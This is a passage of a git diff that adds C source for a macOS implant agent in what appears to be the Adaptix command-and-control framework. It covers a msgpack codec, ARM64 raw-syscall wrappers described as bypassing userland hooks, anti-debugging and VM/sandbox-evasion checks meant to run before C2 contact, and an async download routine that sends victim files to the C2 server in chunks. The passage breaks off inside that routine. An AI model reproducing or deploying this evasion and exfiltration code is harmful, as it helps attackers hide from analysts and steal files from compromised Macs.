+ uint32_t klen = (uint32_t)ax_strlen(key);
+ if (mp_write_str(w, key, klen)) return -1;
+ return mp_write_bin(w, data, len);
+}
+
+int mp_write_kv_uint(mp_writer_t* w, const char* key, uint64_t val) {
+ uint32_t klen = (uint32_t)ax_strlen(key);
+ if (mp_write_str(w, key, klen)) return -1;
+ return mp_write_uint(w, val);
+}
+
+int mp_write_kv_int(mp_writer_t* w, const char* key, int64_t val) {
+ uint32_t klen = (uint32_t)ax_strlen(key);
+ if (mp_write_str(w, key, klen)) return -1;
+ return mp_write_int(w, val);
+}
+
+int mp_write_kv_bool(mp_writer_t* w, const char* key, bool val) {
+ uint32_t klen = (uint32_t)ax_strlen(key);
+ if (mp_write_str(w, key, klen)) return -1;
+ return mp_write_bool(w, val);
+}
+
+/// ---- Reader ----
+
+void mp_reader_init(mp_reader_t* r, const uint8_t* data, size_t len) {
+ r->data = data;
+ r->len = len;
+ r->pos = 0;
+}
+
+static int read_byte(mp_reader_t* r, uint8_t* b) {
+ if (r->pos >= r->len) return -1;
+ *b = r->data[r->pos++];
+ return 0;
+}
+
+static int read_bytes(mp_reader_t* r, const uint8_t** out, size_t len) {
+ if (r->pos + len > r->len) return -1;
+ *out = r->data + r->pos;
+ r->pos += len;
+ return 0;
+}
+
+static uint16_t read_u16_be(const uint8_t* p) {
+ return ((uint16_t)p[0] << 8) | p[1];
+}
+
+static uint32_t read_u32_be(const uint8_t* p) {
+ return ((uint32_t)p[0] << 24) | ((uint32_t)p[1] << 16) |
+ ((uint32_t)p[2] << 8) | p[3];
+}
+
+static uint64_t read_u64_be(const uint8_t* p) {
+ return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) |
+ ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |
+ ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) |
+ ((uint64_t)p[6] << 8) | p[7];
+}
+
+uint8_t mp_peek_type(mp_reader_t* r) {
+ if (r->pos >= r->len) return 0;
+ return r->data[r->pos];
+}
+
+int mp_read_map(mp_reader_t* r, uint32_t* count) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+
+ if ((b & 0xF0) == 0x80) {
+ *count = b & 0x0F; // fixmap
+ return 0;
+ } else if (b == 0xDE) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 2)) return -1;
+ *count = read_u16_be(p);
+ return 0;
+ } else if (b == 0xDF) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 4)) return -1;
+ *count = read_u32_be(p);
+ return 0;
+ }
+ return -1;
+}
+
+int mp_read_array(mp_reader_t* r, uint32_t* count) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+
+ if ((b & 0xF0) == 0x90) {
+ *count = b & 0x0F; // fixarray
+ return 0;
+ } else if (b == 0xDC) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 2)) return -1;
+ *count = read_u16_be(p);
+ return 0;
+ } else if (b == 0xDD) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 4)) return -1;
+ *count = read_u32_be(p);
+ return 0;
+ }
+ return -1;
+}
+
+int mp_read_nil(mp_reader_t* r) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+ return (b == 0xC0) ? 0 : -1;
+}
+
+int mp_read_bool(mp_reader_t* r, bool* val) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+ if (b == 0xC3) { *val = true; return 0; }
+ if (b == 0xC2) { *val = false; return 0; }
+ return -1;
+}
+
+int mp_read_uint(mp_reader_t* r, uint64_t* val) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+
+ if (b <= 0x7F) {
+ *val = b; // positive fixint
+ return 0;
+ }
+
+ const uint8_t* p;
+ switch (b) {
+ case 0xCC: // uint8
+ if (read_byte(r, &b)) return -1;
+ *val = b;
+ return 0;
+ case 0xCD: // uint16
+ if (read_bytes(r, &p, 2)) return -1;
+ *val = read_u16_be(p);
+ return 0;
+ case 0xCE: // uint32
+ if (read_bytes(r, &p, 4)) return -1;
+ *val = read_u32_be(p);
+ return 0;
+ case 0xCF: // uint64
+ if (read_bytes(r, &p, 8)) return -1;
+ *val = read_u64_be(p);
+ return 0;
+ default:
+ return -1;
+ }
+}
+
+int mp_read_int(mp_reader_t* r, int64_t* val) {
+ uint8_t b = mp_peek_type(r);
+
+ // positive fixint or uint types
+ if (b <= 0x7F || b == 0xCC || b == 0xCD || b == 0xCE || b == 0xCF) {
+ uint64_t uval;
+ if (mp_read_uint(r, &uval)) return -1;
+ *val = (int64_t)uval;
+ return 0;
+ }
+
+ // negative fixint
+ if ((b & 0xE0) == 0xE0) {
+ read_byte(r, &b);
+ *val = (int8_t)b;
+ return 0;
+ }
+
+ read_byte(r, &b);
+ const uint8_t* p;
+ switch (b) {
+ case 0xD0: // int8
+ if (read_byte(r, &b)) return -1;
+ *val = (int8_t)b;
+ return 0;
+ case 0xD1: // int16
+ if (read_bytes(r, &p, 2)) return -1;
+ *val = (int16_t)read_u16_be(p);
+ return 0;
+ case 0xD2: // int32
+ if (read_bytes(r, &p, 4)) return -1;
+ *val = (int32_t)read_u32_be(p);
+ return 0;
+ case 0xD3: // int64
+ if (read_bytes(r, &p, 8)) return -1;
+ *val = (int64_t)read_u64_be(p);
+ return 0;
+ default:
+ return -1;
+ }
+}
+
+int mp_read_str(mp_reader_t* r, const char** str, uint32_t* len) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+
+ if ((b & 0xE0) == 0xA0) {
+ *len = b & 0x1F; // fixstr
+ } else if (b == 0xD9) {
+ uint8_t l;
+ if (read_byte(r, &l)) return -1;
+ *len = l;
+ } else if (b == 0xDA) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 2)) return -1;
+ *len = read_u16_be(p);
+ } else if (b == 0xDB) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 4)) return -1;
+ *len = read_u32_be(p);
+ } else {
+ return -1;
+ }
+
+ const uint8_t* p;
+ if (*len > 0) {
+ if (read_bytes(r, &p, *len)) return -1;
+ *str = (const char*)p;
+ } else {
+ *str = "";
+ }
+ return 0;
+}
+
+int mp_read_bin(mp_reader_t* r, const uint8_t** data, uint32_t* len) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+
+ if (b == 0xC4) {
+ uint8_t l;
+ if (read_byte(r, &l)) return -1;
+ *len = l;
+ } else if (b == 0xC5) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 2)) return -1;
+ *len = read_u16_be(p);
+ } else if (b == 0xC6) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 4)) return -1;
+ *len = read_u32_be(p);
+ } else {
+ return -1;
+ }
+
+ if (*len > 0) {
+ if (read_bytes(r, data, *len)) return -1;
+ } else {
+ *data = (const uint8_t*)0;
+ }
+ return 0;
+}
+
+// Skip one msgpack element (recursively for maps/arrays)
+int mp_skip(mp_reader_t* r) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+
+ // positive fixint
+ if (b <= 0x7F) return 0;
+ // negative fixint
+ if ((b & 0xE0) == 0xE0) return 0;
+
+ // fixmap
+ if ((b & 0xF0) == 0x80) {
+ uint32_t count = b & 0x0F;
+ for (uint32_t i = 0; i < count * 2; i++)
+ if (mp_skip(r)) return -1;
+ return 0;
+ }
+ // fixarray
+ if ((b & 0xF0) == 0x90) {
+ uint32_t count = b & 0x0F;
+ for (uint32_t i = 0; i < count; i++)
+ if (mp_skip(r)) return -1;
+ return 0;
+ }
+ // fixstr
+ if ((b & 0xE0) == 0xA0) {
+ uint32_t len = b & 0x1F;
+ r->pos += len;
+ return (r->pos <= r->len) ? 0 : -1;
+ }
+
+ const uint8_t* p;
+ switch (b) {
+ case 0xC0: case 0xC2: case 0xC3: return 0; // nil, false, true
+ case 0xCC: r->pos += 1; break; // uint8
+ case 0xCD: r->pos += 2; break; // uint16
+ case 0xCE: r->pos += 4; break; // uint32
+ case 0xCF: r->pos += 8; break; // uint64
+ case 0xD0: r->pos += 1; break; // int8
+ case 0xD1: r->pos += 2; break; // int16
+ case 0xD2: r->pos += 4; break; // int32
+ case 0xD3: r->pos += 8; break; // int64
+ case 0xCA: r->pos += 4; break; // float32
+ case 0xCB: r->pos += 8; break; // float64
+ case 0xC4: // bin8
+ if (read_byte(r, &b)) return -1;
+ r->pos += b;
+ break;
+ case 0xC5: // bin16
+ if (read_bytes(r, &p, 2)) return -1;
+ r->pos += read_u16_be(p);
+ break;
+ case 0xC6: // bin32
+ if (read_bytes(r, &p, 4)) return -1;
+ r->pos += read_u32_be(p);
+ break;
+ case 0xD9: // str8
+ if (read_byte(r, &b)) return -1;
+ r->pos += b;
+ break;
+ case 0xDA: // str16
+ if (read_bytes(r, &p, 2)) return -1;
+ r->pos += read_u16_be(p);
+ break;
+ case 0xDB: // str32
+ if (read_bytes(r, &p, 4)) return -1;
+ r->pos += read_u32_be(p);
+ break;
+ case 0xDC: { // array16
+ if (read_bytes(r, &p, 2)) return -1;
+ uint32_t count = read_u16_be(p);
+ for (uint32_t i = 0; i < count; i++)
+ if (mp_skip(r)) return -1;
+ return 0;
+ }
+ case 0xDD: { // array32
+ if (read_bytes(r, &p, 4)) return -1;
+ uint32_t count = read_u32_be(p);
+ for (uint32_t i = 0; i < count; i++)
+ if (mp_skip(r)) return -1;
+ return 0;
+ }
+ case 0xDE: { // map16
+ if (read_bytes(r, &p, 2)) return -1;
+ uint32_t count = read_u16_be(p);
+ for (uint32_t i = 0; i < count * 2; i++)
+ if (mp_skip(r)) return -1;
+ return 0;
+ }
+ case 0xDF: { // map32
+ if (read_bytes(r, &p, 4)) return -1;
+ uint32_t count = read_u32_be(p);
+ for (uint32_t i = 0; i < count * 2; i++)
+ if (mp_skip(r)) return -1;
+ return 0;
+ }
+ default:
+ return -1;
+ }
+ return (r->pos <= r->len) ? 0 : -1;
+}
+
+// Find a key in a map. r must be positioned after mp_read_map().
+// Returns 0 if found (r positioned at the value), -1 if not found.
+int mp_find_key_str(mp_reader_t* r, uint32_t map_count, const char* key) {
+ size_t key_len = ax_strlen(key);
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char* k;
+ uint32_t klen;
+ if (mp_read_str(r, &k, &klen)) return -1;
+ if (klen == key_len && ax_memcmp(k, key, klen) == 0) {
+ return 0; // found — reader is at the value
+ }
+ // skip value
+ if (mp_skip(r)) return -1;
+ }
+ return -1;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h
new file mode 100644
index 000000000..d8a68fb45
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h
@@ -0,0 +1,64 @@
+#ifndef MSGPACK_H
+#define MSGPACK_H
+
+#include "types.h"
+#include "crt.h"
+
+/// ---- Writer (encoder) ----
+
+typedef struct {
+ buffer_t buf;
+} mp_writer_t;
+
+int mp_writer_init(mp_writer_t* w, size_t cap);
+void mp_writer_free(mp_writer_t* w);
+
+// Map & array
+int mp_write_map(mp_writer_t* w, uint32_t count);
+int mp_write_array(mp_writer_t* w, uint32_t count);
+
+// Primitives
+int mp_write_nil(mp_writer_t* w);
+int mp_write_bool(mp_writer_t* w, bool val);
+int mp_write_uint(mp_writer_t* w, uint64_t val);
+int mp_write_int(mp_writer_t* w, int64_t val);
+int mp_write_str(mp_writer_t* w, const char* str, uint32_t len);
+int mp_write_bin(mp_writer_t* w, const uint8_t* data, uint32_t len);
+
+// Convenience: write a map key (string) + value pair
+int mp_write_kv_str(mp_writer_t* w, const char* key, const char* val);
+int mp_write_kv_bin(mp_writer_t* w, const char* key, const uint8_t* data, uint32_t len);
+int mp_write_kv_uint(mp_writer_t* w, const char* key, uint64_t val);
+int mp_write_kv_int(mp_writer_t* w, const char* key, int64_t val);
+int mp_write_kv_bool(mp_writer_t* w, const char* key, bool val);
+
+/// ---- Reader (decoder) ----
+
+typedef struct {
+ const uint8_t* data;
+ size_t len;
+ size_t pos;
+} mp_reader_t;
+
+void mp_reader_init(mp_reader_t* r, const uint8_t* data, size_t len);
+
+// Type checking
+uint8_t mp_peek_type(mp_reader_t* r);
+int mp_skip(mp_reader_t* r); // skip one element
+
+// Map & array
+int mp_read_map(mp_reader_t* r, uint32_t* count);
+int mp_read_array(mp_reader_t* r, uint32_t* count);
+
+// Primitives
+int mp_read_nil(mp_reader_t* r);
+int mp_read_bool(mp_reader_t* r, bool* val);
+int mp_read_uint(mp_reader_t* r, uint64_t* val);
+int mp_read_int(mp_reader_t* r, int64_t* val);
+int mp_read_str(mp_reader_t* r, const char** str, uint32_t* len); // points into buffer
+int mp_read_bin(mp_reader_t* r, const uint8_t** data, uint32_t* len); // points into buffer
+
+// Key lookup: find key in current map, returns 0 if found (cursor at value)
+int mp_find_key_str(mp_reader_t* r, uint32_t map_count, const char* key);
+
+#endif // MSGPACK_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c
new file mode 100644
index 000000000..62d9f2bef
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c
@@ -0,0 +1,144 @@
+#include "opsec.h"
+#include "syscalls_arm64.h"
+#include "crt.h"
+#include "dyld_resolve.h"
+
+#include
+#include
+
+/// ── Anti-Debug ──
+/// 1. PT_DENY_ATTACH via direct syscall — prevents debugger attachment
+/// 2. Check P_TRACED flag via sysctl — detects existing debugger
+/// 3. sysctl hw.model — detect Analysis VMs
+
+int opsec_anti_debug(void) {
+ // PT_DENY_ATTACH — prevent future debugger attachment
+ // Uses direct syscall to bypass any ptrace() hooks
+ sys_ptrace(PT_DENY_ATTACH, 0, (void*)0, 0);
+
+ // Check if already being traced via sysctl(KERN_PROC)
+ // This uses a direct syscall to avoid hooked sysctl()
+ int mib[4];
+ mib[0] = CTL_KERN;
+ mib[1] = KERN_PROC;
+ mib[2] = KERN_PROC_PID;
+ mib[3] = sys_getpid();
+
+ struct kinfo_proc info;
+ ax_memset(&info, 0, sizeof(info));
+ size_t info_size = sizeof(info);
+
+ // Direct syscall to sysctl
+ int ret = sys_sysctl(mib, 4, &info, &info_size, (void*)0, 0);
+ if (ret == 0) {
+ // Check P_TRACED flag
+ if (info.kp_proc.p_flag & P_TRACED) {
+ return -1; // Debugger detected
+ }
+ }
+
+ return 0;
+}
+
+/// ── VM Detection ──
+/// Detects common virtualization/analysis environments on macOS:
+/// 1. hw.model sysctl — "VirtualMac" (Parallels), VMware, etc.
+/// 2. machdep.cpu.brand_string — "QEMU" or unusual CPU strings
+/// 3. Check for known VM MAC address prefixes (via sysctl)
+/// 4. Check for low hardware specs (analysis VMs often have minimal resources)
+
+int opsec_vm_detect(void) {
+ // Check hw.model via sysctl
+ int mib_model[2] = { CTL_HW, HW_MODEL };
+ char model[128] = {0};
+ size_t model_len = sizeof(model) - 1;
+
+ if (sys_sysctl(mib_model, 2, model, &model_len, (void*)0, 0) == 0) {
+ // Known VM model strings
+ // "VirtualMac" — Parallels Desktop
+ if (model[0] == 'V' && model[1] == 'i' && model[2] == 'r' &&
+ model[3] == 't' && model[4] == 'u' && model[5] == 'a' &&
+ model[6] == 'l') {
+ return -1;
+ }
+ // "VMware" prefix
+ if (model[0] == 'V' && model[1] == 'M' && model[2] == 'w') {
+ return -1;
+ }
+ }
+
+ // Check logical CPU count — analysis VMs often have 1-2 cores
+ int mib_ncpu[2] = { CTL_HW, HW_NCPU };
+ int ncpu = 0;
+ size_t ncpu_len = sizeof(ncpu);
+
+ if (sys_sysctl(mib_ncpu, 2, &ncpu, &ncpu_len, (void*)0, 0) == 0) {
+ if (ncpu < 2) {
+ return -1; // Suspiciously low CPU count
+ }
+ }
+
+ // Check physical memory — analysis VMs often have <4GB
+ int mib_mem[2] = { CTL_HW, HW_MEMSIZE };
+ uint64_t memsize = 0;
+ size_t mem_len = sizeof(memsize);
+
+ if (sys_sysctl(mib_mem, 2, &memsize, &mem_len, (void*)0, 0) == 0) {
+ // Less than 4GB = suspicious
+ if (memsize < (uint64_t)4 * 1024 * 1024 * 1024) {
+ return -1;
+ }
+ }
+
+ return 0;
+}
+
+/// ── Sandbox Detection ──
+/// Detects macOS App Sandbox and analysis environments:
+/// 1. CS_OPS_STATUS csops — check if sandboxed
+/// 2. Check for known analysis tools running
+
+// csops operations
+#define CS_OPS_STATUS 0
+// Code signing flags
+#define CS_RESTRICT 0x0000800
+#define CS_ENFORCEMENT 0x0001000
+
+int opsec_sandbox_detect(void) {
+ // Check code signing status via csops syscall
+ uint32_t cs_flags = 0;
+ int pid = sys_getpid();
+
+ if (sys_csops(pid, CS_OPS_STATUS, &cs_flags, sizeof(cs_flags)) == 0) {
+ // CS_RESTRICT means the binary has restricted entitlements
+ // This is normal for sandboxed apps but unusual for our agent
+ // We don't fail on this — just informational
+ }
+
+ // Check for analysis tools by looking for their processes
+ // via sysctl KERN_PROC_ALL — but this is noisy
+ // Instead, check for known paths that indicate analysis environment
+
+ // Check if running inside /private/var/folders (quarantine)
+ char cwd[1024];
+ if (R_getcwd(cwd, sizeof(cwd))) {
+ // macOS quarantine directory
+ if (cwd[0] == '/' && cwd[1] == 'p' && cwd[2] == 'r' &&
+ cwd[3] == 'i' && cwd[4] == 'v' && cwd[5] == 'a' &&
+ cwd[6] == 't' && cwd[7] == 'e') {
+ // Running from quarantine — could be analysis
+ // Don't fail, but flag it
+ }
+ }
+
+ return 0;
+}
+
+/// ── Combined Check ──
+int opsec_check(void) {
+ if (opsec_anti_debug() != 0) return -1;
+ if (opsec_vm_detect() != 0) return -1;
+ // Sandbox detection is informational, don't block
+ opsec_sandbox_detect();
+ return 0;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h
new file mode 100644
index 000000000..056ec9228
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h
@@ -0,0 +1,17 @@
+#ifndef OPSEC_H
+#define OPSEC_H
+
+#include "types.h"
+
+/// OPSEC checks — anti-debug, VM detection, sandbox detection
+/// Call opsec_check() at startup before any C2 communication
+
+/// Run all OPSEC checks. Returns 0 if safe, -1 if hostile environment detected.
+int opsec_check(void);
+
+/// Individual checks (can be called separately)
+int opsec_anti_debug(void); // PT_DENY_ATTACH + P_TRACED check
+int opsec_vm_detect(void); // VM/hypervisor detection
+int opsec_sandbox_detect(void); // App Sandbox detection
+
+#endif // OPSEC_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h
new file mode 100644
index 000000000..7e243456d
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h
@@ -0,0 +1,191 @@
+#ifndef SYSCALLS_ARM64_H
+#define SYSCALLS_ARM64_H
+
+#include
+#include
+
+/// ARM64 macOS direct syscalls via SVC #0x80
+/// BSD syscall numbers are 0x2000000 | bsd_number
+/// Mach traps are negative numbers (not used here)
+///
+/// Bypasses userland hooks on libSystem functions
+
+#define SYS_CLASS_UNIX 0x2000000
+
+// BSD syscall numbers (macOS ARM64)
+#define SYS_exit (SYS_CLASS_UNIX | 1)
+#define SYS_fork (SYS_CLASS_UNIX | 2)
+#define SYS_read (SYS_CLASS_UNIX | 3)
+#define SYS_write (SYS_CLASS_UNIX | 4)
+#define SYS_open (SYS_CLASS_UNIX | 5)
+#define SYS_close (SYS_CLASS_UNIX | 6)
+#define SYS_kill (SYS_CLASS_UNIX | 37)
+#define SYS_getpid (SYS_CLASS_UNIX | 20)
+#define SYS_getuid (SYS_CLASS_UNIX | 24)
+#define SYS_ptrace (SYS_CLASS_UNIX | 26)
+#define SYS_socket (SYS_CLASS_UNIX | 97)
+#define SYS_connect (SYS_CLASS_UNIX | 98)
+#define SYS_mmap (SYS_CLASS_UNIX | 197)
+#define SYS_munmap (SYS_CLASS_UNIX | 73)
+#define SYS_mprotect (SYS_CLASS_UNIX | 74)
+#define SYS_sysctl (SYS_CLASS_UNIX | 202)
+#define SYS_sysctlbyname (SYS_CLASS_UNIX | 274)
+#define SYS_stat64 (SYS_CLASS_UNIX | 338)
+#define SYS_fstat64 (SYS_CLASS_UNIX | 339)
+#define SYS_getdirentries64 (SYS_CLASS_UNIX | 344)
+#define SYS_csops (SYS_CLASS_UNIX | 169)
+
+// ptrace requests
+#define PT_DENY_ATTACH 31
+#define PT_TRACE_ME 0
+
+/// Raw syscall wrappers — ARM64 ABI
+/// x16 = syscall number, x0-x5 = args, SVC #0x80
+/// Returns x0 (result), carry flag set on error
+
+static inline long raw_syscall0(long number) {
+ register long x16 __asm__("x16") = number;
+ register long x0 __asm__("x0");
+ __asm__ volatile(
+ "svc #0x80\n"
+ : "=r"(x0)
+ : "r"(x16)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+static inline long raw_syscall1(long number, long a0) {
+ register long x16 __asm__("x16") = number;
+ register long x0 __asm__("x0") = a0;
+ __asm__ volatile(
+ "svc #0x80\n"
+ : "+r"(x0)
+ : "r"(x16)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+static inline long raw_syscall2(long number, long a0, long a1) {
+ register long x16 __asm__("x16") = number;
+ register long x0 __asm__("x0") = a0;
+ register long x1 __asm__("x1") = a1;
+ __asm__ volatile(
+ "svc #0x80\n"
+ : "+r"(x0)
+ : "r"(x16), "r"(x1)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+static inline long raw_syscall3(long number, long a0, long a1, long a2) {
+ register long x16 __asm__("x16") = number;
+ register long x0 __asm__("x0") = a0;
+ register long x1 __asm__("x1") = a1;
+ register long x2 __asm__("x2") = a2;
+ __asm__ volatile(
+ "svc #0x80\n"
+ : "+r"(x0)
+ : "r"(x16), "r"(x1), "r"(x2)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+static inline long raw_syscall4(long number, long a0, long a1, long a2, long a3) {
+ register long x16 __asm__("x16") = number;
+ register long x0 __asm__("x0") = a0;
+ register long x1 __asm__("x1") = a1;
+ register long x2 __asm__("x2") = a2;
+ register long x3 __asm__("x3") = a3;
+ __asm__ volatile(
+ "svc #0x80\n"
+ : "+r"(x0)
+ : "r"(x16), "r"(x1), "r"(x2), "r"(x3)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+static inline long raw_syscall6(long number, long a0, long a1, long a2,
+ long a3, long a4, long a5) {
+ register long x16 __asm__("x16") = number;
+ register long x0 __asm__("x0") = a0;
+ register long x1 __asm__("x1") = a1;
+ register long x2 __asm__("x2") = a2;
+ register long x3 __asm__("x3") = a3;
+ register long x4 __asm__("x4") = a4;
+ register long x5 __asm__("x5") = a5;
+ __asm__ volatile(
+ "svc #0x80\n"
+ : "+r"(x0)
+ : "r"(x16), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+/// Convenience wrappers for common syscalls
+
+static inline int sys_open(const char* path, int flags, int mode) {
+ return (int)raw_syscall3(SYS_open, (long)path, (long)flags, (long)mode);
+}
+
+static inline int sys_close(int fd) {
+ return (int)raw_syscall1(SYS_close, (long)fd);
+}
+
+static inline long sys_read(int fd, void* buf, size_t count) {
+ return raw_syscall3(SYS_read, (long)fd, (long)buf, (long)count);
+}
+
+static inline long sys_write(int fd, const void* buf, size_t count) {
+ return raw_syscall3(SYS_write, (long)fd, (long)buf, (long)count);
+}
+
+static inline int sys_getpid(void) {
+ return (int)raw_syscall0(SYS_getpid);
+}
+
+static inline int sys_getuid(void) {
+ return (int)raw_syscall0(SYS_getuid);
+}
+
+static inline int sys_kill(int pid, int sig) {
+ return (int)raw_syscall2(SYS_kill, (long)pid, (long)sig);
+}
+
+static inline int sys_ptrace(int request, int pid, void* addr, int data) {
+ return (int)raw_syscall4(SYS_ptrace, (long)request, (long)pid, (long)addr, (long)data);
+}
+
+static inline void* sys_mmap(void* addr, size_t len, int prot, int flags, int fd, long offset) {
+ return (void*)raw_syscall6(SYS_mmap, (long)addr, (long)len, (long)prot,
+ (long)flags, (long)fd, offset);
+}
+
+static inline int sys_munmap(void* addr, size_t len) {
+ return (int)raw_syscall2(SYS_munmap, (long)addr, (long)len);
+}
+
+static inline int sys_mprotect(void* addr, size_t len, int prot) {
+ return (int)raw_syscall3(SYS_mprotect, (long)addr, (long)len, (long)prot);
+}
+
+static inline int sys_sysctl(int* name, unsigned int namelen, void* oldp,
+ size_t* oldlenp, void* newp, size_t newlen) {
+ return (int)raw_syscall6(SYS_sysctl, (long)name, (long)namelen, (long)oldp,
+ (long)oldlenp, (long)newp, (long)newlen);
+}
+
+static inline int sys_fork(void) {
+ return (int)raw_syscall0(SYS_fork);
+}
+
+static inline int sys_csops(int pid, unsigned int ops, void* useraddr, size_t usersize) {
+ return (int)raw_syscall4(SYS_csops, (long)pid, (long)ops, (long)useraddr, (long)usersize);
+}
+
+#endif // SYSCALLS_ARM64_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c
new file mode 100644
index 000000000..537c38968
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c
@@ -0,0 +1,806 @@
+#include "tasks_async.h"
+#include "jobs.h"
+#include "crt.h"
+#include "crypt.h"
+#include "types.h"
+#include "dyld_resolve.h"
+
+#include
+#include
+#include
+#include
+#include
+
+#ifdef DEBUG_TRACE
+#include "syscalls_arm64.h"
+static void _async_dbg(const char* msg) {
+ size_t len = 0;
+ const char* p = msg;
+ while (*p++) len++;
+ sys_write(2, msg, len);
+ sys_write(2, "\n", 1);
+}
+static void _async_dbg_int(const char* prefix, int64_t val) {
+ size_t plen = 0;
+ const char* p = prefix;
+ while (*p++) plen++;
+ sys_write(2, prefix, plen);
+ char nbuf[24];
+ int ni = 0;
+ uint64_t uv = val < 0 ? (uint64_t)(-val) : (uint64_t)val;
+ if (val < 0) sys_write(2, "-", 1);
+ do { nbuf[ni++] = '0' + (uv % 10); uv /= 10; } while (uv > 0);
+ while (ni > 0) { char c = nbuf[--ni]; sys_write(2, &c, 1); }
+ sys_write(2, "\n", 1);
+}
+#else
+#define _async_dbg(msg) ((void)0)
+#define _async_dbg_int(prefix, val) ((void)0)
+#endif
+
+// ── Helpers ──
+
+static void write_error(mp_writer_t* w, const char* msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+}
+
+static int parse_string_param(const uint8_t* data, uint32_t data_len,
+ const char* key, const char** val, uint32_t* vlen) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) return -1;
+ for (uint32_t i = 0; i < mc; i++) {
+ const char* k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) return -1;
+ if (kl == ax_strlen(key) && ax_memcmp(k, key, kl) == 0) {
+ return mp_read_str(&r, val, vlen);
+ }
+ mp_skip(&r);
+ }
+ return -1;
+}
+
+// ── Download ──
+// Go: ParamsDownload{Task string, Path string}
+// Spawns thread → opens new connection → streams file in 1MB chunks
+// Sends ExfilPack init, then Message{Type:2, Object:[Job{cmd_id:5, ...}]}
+
+#define DOWNLOAD_CHUNK_SIZE (1024 * 1024) // 1MB
+
+typedef struct {
+ int job_idx;
+ char task[64];
+ char path[4096];
+} download_args_t;
+
+static void* download_thread(void* arg) {
+ download_args_t* args = (download_args_t*)arg;
+ job_context_t* ctx = &g_job_ctx;
+ job_entry_t* job = &ctx->jobs[args->job_idx];
+
+ _async_dbg("[DOWNLOAD] === download_thread start ===");
+ _async_dbg(args->task);
+ _async_dbg(args->path);
+
+ // Open separate connection to C2
+ if (jobs_open_connection(ctx, &job->conn) != 0) {
+ _async_dbg("[DOWNLOAD] jobs_open_connection failed!");
+ job->active = 0;
+ ax_free(args, sizeof(download_args_t));
+ return (void*)0;
+ }
+ _async_dbg("[DOWNLOAD] C2 connection opened");
+
+ // Send ExfilPack init: {id, type, task}
+ mp_writer_t pack_w;
+ mp_writer_init(&pack_w, 128);
+ mp_write_map(&pack_w, 3);
+ mp_write_kv_uint(&pack_w, "id", ctx->agent_id);
+ mp_write_kv_uint(&pack_w, "type", ctx->profile_type);
+ mp_write_kv_str(&pack_w, "task", args->task);
+
+ _async_dbg("[DOWNLOAD] sending ExfilPack init...");
+ if (jobs_send_init(ctx, &job->conn, EXFIL_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) {
+ _async_dbg("[DOWNLOAD] jobs_send_init failed!");
+ mp_writer_free(&pack_w);
+ conn_close(&job->conn);
+ job->active = 0;
+ ax_free(args, sizeof(download_args_t));
+ return (void*)0;
+ }
+ mp_writer_free(&pack_w);
+ _async_dbg("[DOWNLOAD] ExfilPack sent OK");
+
+ // Parse FileId from task hex string (e.g. "03274ad5")
+ int file_id = ax_hextoi(args->task);
+ _async_dbg_int("[DOWNLOAD] file_id=", file_id);
+
+ // Open file
+ _async_dbg("[DOWNLOAD] opening file...");
+ int fd = R_open(args->path, O_RDONLY, 0);
+ if (fd < 0) {
+ _async_dbg("[DOWNLOAD] R_open failed!");
+ // Send canceled message
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128);
+ mp_write_map(&ans_w, 7);
+ mp_write_kv_int(&ans_w, "id", file_id);
+ mp_write_kv_str(&ans_w, "path", args->path);
+ mp_write_kv_int(&ans_w, "size", 0);
+ mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0);
+ mp_write_kv_bool(&ans_w, "start", false);
+ mp_write_kv_bool(&ans_w, "finish", true);
